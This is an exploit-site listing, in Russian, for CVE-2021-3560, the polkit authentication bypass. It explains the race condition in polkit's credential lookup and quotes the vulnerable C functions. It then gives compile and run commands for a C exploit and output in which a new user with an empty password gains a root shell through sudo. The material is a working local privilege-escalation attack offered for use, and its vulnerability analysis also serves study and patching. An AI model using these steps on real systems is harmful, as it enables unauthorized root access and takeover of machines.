Sploitus

Exploit for CVE-2021-3560

kitploit · 2026-08-27

Exploit Code

MARKDOWN240 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HAKIVVI-CVE-2021-3560
# CVE-2021-3560

Надёжный эксплойт на C для CVE-2021-3560.

# Краткое описание:

Вчера я наткнулся на эту публикацию в блоге Кевина Бэкхауса (обнаружившего эту уязвимость), я попробовал bash-команды, приведённые в статье, и, к моему удивлению, они сработали на моей машине с Kali Linux!

CVE-2021-3560 — это обход аутентификации в polkit, который позволяет непривилегированному пользователю вызывать привилегированные методы через DBus. PoC использует эту ошибку для вызова двух привилегированных методов, предоставляемых accountsservice (`CreateUser` и `SetPassword`), что позволяет создать привилегированного пользователя, а затем установить ему пароль.

polkit проверяет, авторизован ли вызывающий для вызова такого метода. Сначала он проверяет UID вызывающего: если он равен нулю, то вызывающий считается root, и действие разрешается без запроса аутентификации; в противном случае запрашивается пароль пользователя.

Функция `polkit_system_bus_name_get_creds_sync()` вызывает два метода для получения UID и PID вызывающего: `GetConnectionUnixUser` и `GetConnectionUnixProcessID`. Результат этих вызовов записывается в структуру `data` типа `AsyncGetBusNameCredsData` (эта структура инициализируется нулями) функцией обратного вызова `on_retrieved_unix_uid_pid()`, а `polkit_system_bus_name_get_creds_sync()` блокируется в ожидании, пока функция обратного вызова не установит ошибку или не вернёт UID и PID.

root@kitploit:~
    
    
    static gboolean
    polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
    				       guint32                       *out_uid,
    				       guint32                       *out_pid,
    				       GCancellable                  *cancellable,
    				       GError                       **error)
    {
      gboolean ret = FALSE;
      AsyncGetBusNameCredsData data = { 0, }; // инициализируем нулями
      GDBusConnection *connection = NULL;
      GMainContext *tmp_context = NULL;
    
      connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
      if (connection == NULL)
        goto out;
    
      data.error = error;
    
      tmp_context = g_main_context_new ();
      g_main_context_push_thread_default (tmp_context);
    
      g_dbus_connection_call (connection,
    			  "org.freedesktop.DBus",       /* имя */
    			  "/org/freedesktop/DBus",      /* путь объекта */
    			  "org.freedesktop.DBus",       /* имя интерфейса */
    			  "GetConnectionUnixUser",      /* метод */
    			  g_variant_new ("(s)", system_bus_name->name),
    			  G_VARIANT_TYPE ("(u)"),
    			  G_DBUS_CALL_FLAGS_NONE,
    			  -1,
    			  cancellable,
    			  on_retrieved_unix_uid_pid, // функция обратного вызова
    			  &data); // data передаётся в функцию обратного вызова вместе с ответом от метода
      g_dbus_connection_call (connection,
    			  "org.freedesktop.DBus",       /* имя */
    			  "/org/freedesktop/DBus",      /* путь объекта */
    			  "org.freedesktop.DBus",       /* имя интерфейса */
    			  "GetConnectionUnixProcessID", /* метод */
    			  g_variant_new ("(s)", system_bus_name->name),
    			  G_VARIANT_TYPE ("(u)"),
    			  G_DBUS_CALL_FLAGS_NONE,
    			  -1,
    			  cancellable,
    			  on_retrieved_unix_uid_pid, // функция обратного вызова
    			  &data); // data передаётся в функцию обратного вызова вместе с ответом от метода
    
      while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // ждём, пока не будет вызвана on_retrieved_unix_uid_pid()
        g_main_context_iteration (tmp_context, TRUE);
    
    

Функция обратного вызова `on_retrieved_unix_uid_pid()` вызывается после каждого вызова метода для получения ответа (UID и PID) или установки ошибки. Эта функция вызывает `g_dbus_connection_call_finish()`, чтобы получить ответ; если произошла ошибка, она устанавливает `data.caught_error` в TRUE и возвращается (`data.uid` и `data.pid` остаются равными 0). В противном случае она присваивает полученное значение (UID или PID) `data.uid` или `data.pid` (в зависимости от того, какое значение получено) и возвращается.

root@kitploit:~
    
    
    static void
    on_retrieved_unix_uid_pid (GObject              *src, // connection
    			   GAsyncResult         *res, // объект асинхронного результата
    			   gpointer              user_data) // параметр data, переданный из предыдущей функции
    {
      AsyncGetBusNameCredsData *data = user_data;
      GVariant *v;
    
      v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
    				     data->caught_error ? NULL : data->error); // завершаем и получаем ответ
      if (!v) // ошибка??
        {
          data->caught_error = TRUE;
        }
      else
        {
          guint32 value;
          g_variant_get (v, "(u)", &value); // распаковываем ответ, получаем UINT32 (u)
          g_variant_unref (v);
          if (!data->retrieved_uid) // метод GetConnectionUnixUser
    	{
    	  data->retrieved_uid = TRUE;
    	  data->uid = value;
    	}
          else
    	{
    	  g_assert (!data->retrieved_pid); // метод GetConnectionUnixProcessID
    	  data->retrieved_pid = TRUE;
    	  data->pid = value;
    	}
        }
    }
    
    

Методы `GetConnectionUnixUser` и `GetConnectionUnixProcessID` вернут UID и PID, если вызывающий процесс всё ещё подключён к шине, или ошибку, если произошла ошибка (например, вызывающий процесс был завершён).

Как только `data.uid` и `data.pid` установлены или `data.caught_error` установлен, функция `polkit_system_bus_name_get_creds_sync()` продолжает выполнение, и здесь находится уязвимость: `polkit_system_bus_name_get_creds_sync()` не возвращает ошибку, если установлен `data.caught_error`; вместо этого она присваивает `out_uid` значение `data.uid` и возвращает TRUE (даже если `data.caught_error` установлен). `out_pid` — это указатель на переменную `guint32`, переданную в `polkit_system_bus_name_get_creds_sync()` при вызове из `polkit_system_bus_name_get_user_sync()`:

root@kitploit:~
    
    
    static gboolean
    polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
    				       guint32                       *out_uid, // указатель
    				       guint32                       *out_pid, // NULL
    				       GCancellable                  *cancellable,
    				       GError                       **error)
    {
    
      [snip]
      
      while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // ждём обработки ответа функцией обратного вызова
        g_main_context_iteration (tmp_context, TRUE);
    
      if (out_uid) // TRUE
        *out_uid = data.uid; // устанавливаем, даже если ошибка [!]
      if (out_pid) // FALSE
        *out_pid = data.pid; // устанавливаем, даже если ошибка [!]
      ret = TRUE; // возвращаем TRUE, даже если ошибка [!]
     out:
      if (tmp_context)
        {
          g_main_context_pop_thread_default (tmp_context);
          g_main_context_unref (tmp_context);
        }
      if (connection != NULL)
        g_object_unref (connection);
      return ret;
    
    

**Эксплуатация:**

Если процесс A вызывает привилегированный метод через DBus, то polkit проверяет UID вызывающего. Если процесс A завершается сразу после отправки сообщения, то методы `GetConnectionUnixUser` и `GetConnectionUnixProcessID` вернут ошибку, так как вызывающего процесса больше не существует. Функция обратного вызова `on_retrieved_unix_uid_pid()` установит `data.caught_error` в TRUE, `data.uid` и `data.pid` останутся неизменными (то есть оба будут равны 0, так как структура data инициализирована нулями). Функция `polkit_system_bus_name_get_creds_sync()` продолжит выполнение и установит `out_uid` в `data.uid` (0) и вернёт TRUE.

Некоторые функции будут продолжать возвращать поддельный UID (0), пока `polkit_backend_session_monitor_get_user_for_subject()` не вернёт `user_of_subject` (созданный из поддельного UID) в функцию `check_authorization_sync()`, которая проверит, является ли UID root, вызвав `identity_is_root_user(user_of_subject)`, и если это вернёт TRUE, то процесс A будет авторизован.

root@kitploit:~
    
    
    static PolkitAuthorizationResult *
    check_authorization_sync (PolkitBackendAuthority         *authority,
                              PolkitSubject                  *caller,
                              PolkitSubject                  *subject,
                              const gchar                    *action_id,
                              PolkitDetails                  *details,
                              PolkitCheckAuthorizationFlags   flags,
                              PolkitImplicitAuthorization    *out_implicit_authorization,
                              gboolean                        checking_imply,
                              GError                        **error)
    {
    
      
      [snip]
    
      user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                             subject, NULL,
                                                                             error);
      if (user_of_subject == NULL) // false
          goto out;
    
      /* частный случай: uid 0, root, _всегда_ авторизован для любых действий */
      if (identity_is_root_user (user_of_subject)) // true
        {
          result = polkit_authorization_result_new (TRUE, FALSE, NULL); // авторизовать вызывающего
          goto out;
        }
    
      [snip]
     
    

# PoC:

Я решил написать PoC с использованием C API DBus. Я не использовал `sleep()` в ожидании отправки сообщения целевому сервису; вместо этого функции DBus предоставляют параметр тайм-аута. Таким образом, (зло)употребляя этим параметром, можно заставить функцию вернуться сразу после отправки сообщения, а затем завершить процесс. Это позволит нам эксплуатировать уязвимость в polkit и обойти аутентификацию. Обратитесь к этой статье в блоге за техническими деталями.

# Запуск:

  1. Скомпилируйте эксплойт:



root@kitploit:~
    
    
    user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
    

  2. Запустите эксплойт:



root@kitploit:~
    
    
    user@host: ./exploit
    

  * Вывод:



root@kitploit:~
    
    
    user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
    user@host:~/CVE-2021-3560-testing$ ./exploit
    [*] создание пользователя "pwned-1624301069" ...
    [!] пользователь создан!
    [*] пользователь: pwned-1624301069, uid: 1007
    [*] установка пустого пароля для пользователя "pwned-1624301069" ..
    [*] для пользователя "pwned-1624301069" установлен пустой пароль!
    [!] выполните: "sudo su root" от пользователя "pwned-1624301069", чтобы получить root
    ┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
    └─$ sudo su root
    
    We trust you have received the usual lecture from the local System
    Administrator. It usually boils down to these three things:
    
        #1) Respect the privacy of others.
        #2) Think before you type.
        #3) With great power comes great responsibility.
    
    root@host:/home/user/CVE-2021-3560-testing# id
    uid=0(root) gid=0(root) groups=0(root)